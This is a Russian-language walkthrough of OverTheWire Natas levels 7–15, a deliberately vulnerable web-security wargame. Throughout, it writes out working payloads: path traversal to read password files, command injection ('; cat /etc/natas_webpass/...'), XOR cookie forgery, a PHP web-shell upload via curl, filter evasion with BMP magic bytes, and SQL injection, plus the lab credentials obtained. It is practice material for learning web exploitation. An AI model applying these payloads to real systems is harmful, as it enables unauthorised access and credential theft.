lvl 7-8 просто подставил /etc/natas_webpass/natas8 после  http://natas7.natas.labs.overthewire.org/index.php?page=
lvl 8-9 сначала не нашел ничего интересного, но потом глянул в page source на сайте, там base64. Декодируем M2QzZDUxNjM0Mzc0NmQ0ZDZkNmMzMTU2Njk1NjMzNjIK - ничего не выходит,
затем заметил другие переменные. Нагуглил что тут поможет пхп. php -a php > echo hex2bin("3d3d516343746d4d6d6c315669563362");
==QcCtmMml1ViV3b
php > echo strrev("==QcCtmMml1ViV3b");
b3ViV1lmMmtCcQ==
php > echo base64_decode("b3ViV1lmMmtCcQ==");
oubWYf2kBq

lvl 9-10 увидел скрипт, сперва пытался подсунуть команду через && затем вспомнил про сепаратор ;. В итоге "; cat /etc/natas_webpass/natas10"
lvl 10-11 все то же самое, только теперь ищем везде .* /etc/natas_webpass/natas11
lvl 11-12 Увидел XOR и начал гуглить. Прогнал через burp, нашел cookies. Поскольку в пхп не шарю, не сразу дошло что можно исаользовать готовый кусок в исходниках.
<?php

function xor_encrypt($in) {
    $key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

$decoded = xor_encrypt(base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'));
echo($decoded);
?>

На выходе получаем строчку. qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
<?php

function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }
    return $outText;
}

$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$cookie = base64_encode(xor_encrypt(json_encode($data)));
print($cookie);
?>
В burp подставил получившееся значение, в ответ получил пасс EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

lvl 12-13 На первую часть квеста понадобилась помощь зала-
<?php
$output = shell_exec('cat /etc/natas_webpass/natas13');
echo $output;
?>

Потом залил это дело curl вот так.
curl -F filename=upload.php -F uploadedfile=@upload.php -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 http://natas12.natas.labs.overthewire.org/
curl -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 http://natas12.natas.labs.overthewire.org/upload/ke23dcmj43.php
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

lvl 13-14 чуть модифицировал пхп, добавив в начало BMP. в итоге
curl -F filename=upload2.php -F uploadedfile=@upload2.php -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/
curl -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/upload/4m7zxzz11x.php
BMPLg96M10TdfaPyVBkJdjymbllQ5L6qdl1.

lvl 14-15. смотрим сорс - mysql. Тут к гадалке не ходи - нужна инъекция.
Нагуглил SQL Injection Based on ""="" is Always True.
Исользуем "=" в качестве логина с паролем - выходит запрос вида
SELECT * from users where username = ""="" and password = ""=""
Получаем пароль.